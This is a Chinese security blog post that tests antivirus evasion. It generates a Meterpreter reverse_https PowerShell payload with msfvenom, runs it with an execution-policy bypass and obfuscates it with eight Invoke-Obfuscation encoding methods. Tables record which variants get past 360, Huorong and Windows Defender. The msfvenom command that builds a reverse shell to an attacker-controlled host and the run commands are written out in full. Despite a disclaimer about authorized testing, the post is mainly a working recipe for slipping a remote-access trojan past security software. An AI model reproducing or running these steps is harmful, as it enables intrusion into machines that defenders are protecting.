✎ 阅读须知
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。
更新时间:2021-05-31
Invoke-Obfuscation下载地址:
https://github.com/danielbohannon/Invoke-ObfuscationInvoke-Obfuscation是一款混淆工具,具体信息可自行百度学习。
参考文档
代码语言:javascript复制https://blog.csdn.net/weixin_44216796/article/details/112723993先说下结果:
Invoke-Obfuscation的Encoding部分方法混淆可以过360和火绒,但是过不了Windows Defender
1. 模块使用
导入模块
代码语言:javascript复制代码语言:javascript复制Import-Module C: _poweshellInvoke-Obfuscation-masterInvoke-Obfuscation.psd1这里注意,一定要写上完整路径,不然会报错

加载模块
代码语言:javascript复制代码语言:javascript复制Invoke-Obfuscation
支持的加密方法:

TOKEN支持分部分混淆STRING整条命令混淆COMPRESS将命令转为单行并压缩,ENCODING编码LAUNCHER选择执行方式
本文只讨论ENCODING编码方法
2. msfvenom下msf上线
首先用msfvenom生成一个ps1文件
代码语言:javascript复制msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=4444 -f psh-reflection > msf-crow.ps1代码语言:javascript复制
然后设置监听:

然后回到win10
2.1 360
直接在有360的环境下进行执行(这里不做云查杀和杀毒的操作)
代码语言:javascript复制PowerShell.exe -ExecutionPolicy Bypass -File .msf-crow.ps1
上线成功。
这里来一次查杀,首先使用按位置查杀


报毒,直接在这个位置关闭,不处理

再运行一次,此时360提示有毒。

2.2 Windows defender
复制到Windows sever2019下,Windows Defender直接杀掉,很干脆

2.3 火绒
关掉Windows Defender

直接使用火绒扫描,没扫描到。

上线试试:

直接就上线了!!!
2.4 总结
因此在此可以进行如下总结:
msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在静态下的查杀效果:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都在联网状态下
同样
msfvenom最新版(2021-05-28安装)生成powershell攻击脚本在动态执行上线的查杀效果:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
ps:以上环境都联网,且均在cmd中执行-ExecutionPolicy Bypass来绕过执行安全策略进行上线。
这里可以看到,360在第一次并不拦截,而且还可以上线,这可能由于我用的是虚拟机,如果是实体机的话,应该会被杀。
3. 混淆大法
设置需要混淆的木马文件路径
代码语言:javascript复制代码语言:javascript复制set scriptpath C: _poweshellmsf-crow.ps1代码语言:javascript复制
4. 第一种混淆 1
encoding
选择第一种方法混淆
1

将文件输出的out 1.ps1


文件路径:
代码语言:javascript复制C: _poweshellInvoke-Obfuscation-master1.ps1攻击机开启监听模式:

上线测试:
4.1 360
在360环境下直接运行(生成之后没有杀毒扫描)
PowerShell.exe -ExecutionPolicy Bypass -File C: _poweshellInvoke-Obfuscation-master1.ps1这里是在cmd命令行下执行PowerShell命令的
-ExecutionPolicy Bypass:绕过执行安全策略,在默认情况下,PowerShell的安全策略规定了PowerShell不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每一次运行PowerShell脚本时都要使用这个参数。
(参考:https://blog.csdn.net/Eastmount/article/details/115503946)360下上线成功

但使用360云查杀之后显示报毒:

4.2 windows Defender
windows Defender 直接静态被杀

4.3 火绒
火绒,静态扫描报毒

动态上线失败

4.4 总结
静态查杀
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
全挂。。。
5. 第2种混淆 2


这里先静态测试下
5.1 火绒
火绒直接报毒

5.2 360
360云查杀,正常

5.3 Windows Defender
正常

静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线能力:
代码语言:javascript复制PowerShell.exe -ExecutionPolicy Bypass -File C: _poweshellInvoke-Obfuscation-master2.ps1火绒:
静态查杀,动态上线失败

windf:
静态查杀正常,动态上线失败

360:
动态上线失败,而且清除了木马,因此这里360也是静动均查杀了木马

此时对其进行重新调整如下表
5.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ❌ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
6. 第三种方法 3

6.1 360

动态上线测试

再次云查杀,正常

6.2 火绒

静态查杀
6.3 windows Defender
静态正常

动态:失败

6.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ❌ | 未测 | ❌ |
7. 第四种方法 4

7.1 360

上线测试

360动静均正常
7.2 火绒

动态正常

火绒动静正常
7.3 windows Defender
静态过了

动态上线失败

7.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
8. 第五种方法 5


现在验证下各种查杀
8.1 360

动态上线

静态正常,动态上线代码错误
8.2 火绒


静态正常,动态上线代码错误
8.3 window defender


都报错,那再生成一次,这次报错更多了

静态正常,动态上线代码错误
8.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | 运行报错 | 未测 |
windows server 2019 64位 | 运行报错 | 未测 | 运行报错 |
9. 第6种方法 6

9.1 360

动态上线测试,上线正常

再杀一次,还是正常

360动静态上线均正常
9.2 火绒


火绒动静态上线均正常
9.3 window defender

Windows Defender直接报毒
9.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
动态上线:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
10. 第七种方法 7

10.1 360

动态上线测试,win10下的powershell崩掉,应该是由于字符太大的原因

360静态正常,动态上线程序奔溃
10.2 火绒
静态查杀正常

动态上线测试:正常

10.3 window defender

静态正常
由于脚本无法在我的win10下测试,这里到winserver2019上进行测试,开启Windows defender防护

上线失败

10.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
11. 第八种方法 8

11.1 360


静动状态下都正常
11.2 火绒


静动状态下都正常
11.3 window defender


11.4 总结
静态查杀能力:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ✔️ |
动态上线:
火绒 | 360 | Windows Defender | |
|---|---|---|---|
windows 10 64位 | 未测 | ✔️ | 未测 |
windows server 2019 64位 | ✔️ | 未测 | ❌ |
12. 总结
环境:
Windows10 x64 360

winserver2019 x64 火绒

windows Defender
msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果:


ps:以上环境都联网状态下,360采用云查杀
同样
msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的动态上线查杀效果:


ps:以上环境都联网状态下,360采用云查杀
文中难免有错误和不对的地方,希望各位多多指教!


